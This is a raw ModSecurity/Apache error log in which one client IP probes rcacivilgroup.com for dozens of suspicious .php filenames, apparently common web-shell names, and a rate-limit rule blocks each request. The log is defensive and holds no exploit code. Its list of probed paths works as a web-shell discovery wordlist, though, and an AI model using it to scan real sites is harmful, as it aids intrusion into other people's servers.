[Fri Apr 24 08:58:25.374738 2026] [:error] [pid 19101:tid 19151] [client 20.216.173.101:59435] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "aerAMWAHj9bEvrTgbO0mKQAAAE4"]
[Fri Apr 24 08:58:26.102387 2026] [:error] [pid 19100:tid 19124] [client 20.216.173.101:17673] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "aerAMrF_hzQs4Cqbifda9gAAAA4"]
[Fri Apr 24 08:58:26.728597 2026] [:error] [pid 19100:tid 19113] [client 20.216.173.101:24715] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "aerAMrF_hzQs4Cqbifda-QAAAAQ"]
[Fri Apr 24 08:58:27.393288 2026] [:error] [pid 19102:tid 19185] [client 20.216.173.101:23009] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "aerAMwDSgrbLEZbkqD4zMQAAAJU"]
[Fri Apr 24 08:58:29.372863 2026] [:error] [pid 19102:tid 19168] [client 20.216.173.101:61266] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "aerANQDSgrbLEZbkqD4zNgAAAIQ"]
[Fri Apr 24 08:58:33.067662 2026] [:error] [pid 19102:tid 19181] [client 20.216.173.101:23026] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpconf.php"] [unique_id "aerAOQDSgrbLEZbkqD4zPgAAAJE"]
[Fri Apr 24 08:58:34.069341 2026] [:error] [pid 19102:tid 19182] [client 20.216.173.101:62214] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpconf.php"] [unique_id "aerAOgDSgrbLEZbkqD4zRAAAAJI"]
[Fri Apr 24 08:58:51.730685 2026] [:error] [pid 52129:tid 52155] [client 20.216.173.101:54781] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aerAS-KCZKf8_u2LKiAm5gAAARY"]
[Fri Apr 24 08:58:54.086272 2026] [:error] [pid 19102:tid 19174] [client 20.216.173.101:42102] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aerATgDSgrbLEZbkqD4zhQAAAIo"]
[Fri Apr 24 08:58:55.764662 2026] [:error] [pid 19200:tid 19230] [client 20.216.173.101:25345] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aerATzQ--M3-tsKAnhEpuwAAANY"]
[Fri Apr 24 08:58:57.914794 2026] [:error] [pid 52129:tid 52150] [client 20.216.173.101:43785] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aerAUeKCZKf8_u2LKiAnBwAAARE"]
[Fri Apr 24 08:58:59.659475 2026] [:error] [pid 52129:tid 52139] [client 20.216.173.101:45698] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aerAU-KCZKf8_u2LKiAnDwAAAQY"]
[Fri Apr 24 08:59:00.807347 2026] [:error] [pid 52129:tid 52142] [client 20.216.173.101:20407] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aerAVOKCZKf8_u2LKiAnGQAAAQk"]
[Fri Apr 24 08:59:02.458163 2026] [:error] [pid 52129:tid 52146] [client 20.216.173.101:63823] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aerAVuKCZKf8_u2LKiAnJAAAAQ0"]
[Fri Apr 24 08:59:03.667670 2026] [:error] [pid 52129:tid 52134] [client 20.216.173.101:63847] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aerAV-KCZKf8_u2LKiAnKgAAAQE"]
[Fri Apr 24 08:59:05.042645 2026] [:error] [pid 19101:tid 19147] [client 20.216.173.101:26625] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aerAWWAHj9bEvrTgbO0miQAAAEo"]
[Fri Apr 24 08:59:06.053098 2026] [:error] [pid 52129:tid 52153] [client 20.216.173.101:5077] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aerAWuKCZKf8_u2LKiAnNAAAARQ"]
[Fri Apr 24 08:59:06.930072 2026] [:error] [pid 19200:tid 19210] [client 20.216.173.101:33027] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aerAWjQ--M3-tsKAnhEp2gAAAMI"]
[Fri Apr 24 08:59:08.811031 2026] [:error] [pid 19100:tid 19115] [client 20.216.173.101:61443] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aerAXLF_hzQs4CqbifdbYwAAAAY"]
[Fri Apr 24 08:59:09.427924 2026] [:error] [pid 19100:tid 19124] [client 20.216.173.101:27298] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aerAXbF_hzQs4CqbifdbZwAAAA4"]
[Fri Apr 24 08:59:10.787309 2026] [:error] [pid 52129:tid 52150] [client 20.216.173.101:64375] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aerAXuKCZKf8_u2LKiAnQwAAARE"]
[Fri Apr 24 08:59:13.460812 2026] [:error] [pid 19200:tid 19209] [client 20.216.173.101:20352] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aerAYTQ--M3-tsKAnhEp8gAAAME"]
[Fri Apr 24 08:59:14.654047 2026] [:error] [pid 19101:tid 19144] [client 20.216.173.101:27285] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aerAYmAHj9bEvrTgbO0mlAAAAEc"]
[Fri Apr 24 08:59:15.986933 2026] [:error] [pid 19101:tid 19139] [client 20.216.173.101:25405] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aerAY2AHj9bEvrTgbO0mmQAAAEI"]
[Fri Apr 24 08:59:16.826994 2026] [:error] [pid 19101:tid 19143] [client 20.216.173.101:4548] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aerAZGAHj9bEvrTgbO0mnAAAAEY"]
[Fri Apr 24 08:59:18.155499 2026] [:error] [pid 19200:tid 19216] [client 20.216.173.101:64356] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aerAZjQ--M3-tsKAnhEqCQAAAMg"]
[Fri Apr 24 08:59:18.948436 2026] [:error] [pid 19101:tid 19144] [client 20.216.173.101:50302] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Sanskrit.php"] [unique_id "aerAZmAHj9bEvrTgbO0mpAAAAEc"]
[Fri Apr 24 08:59:20.164166 2026] [:error] [pid 19200:tid 19217] [client 20.216.173.101:64317] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aerAaDQ--M3-tsKAnhEqEgAAAMk"]
[Fri Apr 24 08:59:21.331643 2026] [:error] [pid 52129:tid 52148] [client 20.216.173.101:20398] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aerAaeKCZKf8_u2LKiAnVwAAAQ8"]
[Fri Apr 24 08:59:22.463115 2026] [:error] [pid 19200:tid 19229] [client 20.216.173.101:50281] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aerAajQ--M3-tsKAnhEqGAAAANU"]
[Fri Apr 24 08:59:24.968601 2026] [:error] [pid 19102:tid 19171] [client 20.216.173.101:25374] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bbny.php"] [unique_id "aerAbADSgrbLEZbkqD4zswAAAIc"]
[Fri Apr 24 08:59:26.257558 2026] [:error] [pid 52129:tid 52137] [client 20.216.173.101:45747] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aerAbuKCZKf8_u2LKiAnbgAAAQQ"]
[Fri Apr 24 08:59:27.229115 2026] [:error] [pid 52129:tid 52146] [client 20.216.173.101:48432] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aerAb-KCZKf8_u2LKiAneAAAAQ0"]
[Fri Apr 24 08:59:29.045310 2026] [:error] [pid 19101:tid 19150] [client 20.216.173.101:48417] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aerAcWAHj9bEvrTgbO0muQAAAE0"]
[Fri Apr 24 08:59:30.537656 2026] [:error] [pid 19200:tid 19214] [client 20.216.173.101:21022] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "aerAcjQ--M3-tsKAnhEqLgAAAMY"]
[Fri Apr 24 08:59:31.585003 2026] [:error] [pid 19200:tid 19226] [client 20.216.173.101:21009] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zhw.php"] [unique_id "aerAczQ--M3-tsKAnhEqMgAAANI"]
[Fri Apr 24 08:59:32.259055 2026] [:error] [pid 19101:tid 19158] [client 20.216.173.101:61483] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zhw.php"] [unique_id "aerAdGAHj9bEvrTgbO0mvQAAAFU"]
[Fri Apr 24 08:59:33.617109 2026] [:error] [pid 19102:tid 19169] [client 20.216.173.101:49781] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zhw.php"] [unique_id "aerAdQDSgrbLEZbkqD4zwAAAAIU"]
[Fri Apr 24 08:59:34.585797 2026] [:error] [pid 19101:tid 19144] [client 20.216.173.101:64267] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zhw.php"] [unique_id "aerAdmAHj9bEvrTgbO0mywAAAEc"]
[Fri Apr 24 08:59:36.629965 2026] [:error] [pid 19200:tid 19223] [client 20.216.173.101:31051] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "aerAeDQ--M3-tsKAnhEqOQAAAM8"]
[Fri Apr 24 08:59:38.332375 2026] [:error] [pid 19100:tid 19125] [client 20.216.173.101:33075] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "aerAerF_hzQs4CqbifdbsQAAAA8"]
[Fri Apr 24 08:59:39.185071 2026] [:error] [pid 19200:tid 19226] [client 20.216.173.101:41537] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "aerAezQ--M3-tsKAnhEqPwAAANI"]
[Fri Apr 24 08:59:39.971058 2026] [:error] [pid 52129:tid 52144] [client 20.216.173.101:49040] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/casp1.php"] [unique_id "aerAe-KCZKf8_u2LKiAntwAAAQs"]
[Fri Apr 24 08:59:41.491062 2026] [:error] [pid 19100:tid 19130] [client 20.216.173.101:49784] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "aerAfbF_hzQs4CqbifdbtAAAABQ"]
[Fri Apr 24 08:59:42.843060 2026] [:error] [pid 19200:tid 19219] [client 20.216.173.101:64316] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "aerAfjQ--M3-tsKAnhEqSwAAAMs"]
[Fri Apr 24 08:59:44.109300 2026] [:error] [pid 19100:tid 19114] [client 20.216.173.101:33035] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "aerAgLF_hzQs4CqbifdbvwAAAAU"]
[Fri Apr 24 08:59:45.029074 2026] [:error] [pid 19200:tid 19217] [client 20.216.173.101:57351] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ftde.php"] [unique_id "aerAgTQ--M3-tsKAnhEqWAAAAMk"]
[Fri Apr 24 08:59:47.317615 2026] [:error] [pid 19200:tid 19219] [client 20.216.173.101:22972] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lov.php"] [unique_id "aerAgzQ--M3-tsKAnhEqZwAAAMs"]
[Fri Apr 24 08:59:48.727123 2026] [:error] [pid 19100:tid 19128] [client 20.216.173.101:38871] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lov.php"] [unique_id "aerAhLF_hzQs4CqbifdbwQAAABI"]
[Fri Apr 24 08:59:49.340419 2026] [:error] [pid 19200:tid 19216] [client 20.216.173.101:14466] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lov.php"] [unique_id "aerAhTQ--M3-tsKAnhEqeQAAAMg"]
[Fri Apr 24 09:00:04.795533 2026] [:error] [pid 19100:tid 19118] [client 20.216.173.101:50230] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aerAlLF_hzQs4Cqbifdb4wAAAAg"]
[Fri Apr 24 09:00:05.918061 2026] [:error] [pid 52129:tid 52149] [client 20.216.173.101:26746] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aerAleKCZKf8_u2LKiAoEwAAARA"]
[Fri Apr 24 09:00:06.593622 2026] [:error] [pid 19200:tid 19223] [client 20.216.173.101:23498] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aerAljQ--M3-tsKAnhEq6AAAAM8"]
[Fri Apr 24 09:00:08.318344 2026] [:error] [pid 19102:tid 19175] [client 20.216.173.101:40067] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ay.php"] [unique_id "aerAmADSgrbLEZbkqD40FwAAAIs"]
[Fri Apr 24 09:00:08.924531 2026] [:error] [pid 52129:tid 52146] [client 20.216.173.101:46301] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aerAmOKCZKf8_u2LKiAoJwAAAQ0"]
[Fri Apr 24 09:00:10.180647 2026] [:error] [pid 52129:tid 52141] [client 20.216.173.101:29923] [client 20.216.173.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "aerAmuKCZKf8_u2LKiAoMwAAAQg"]
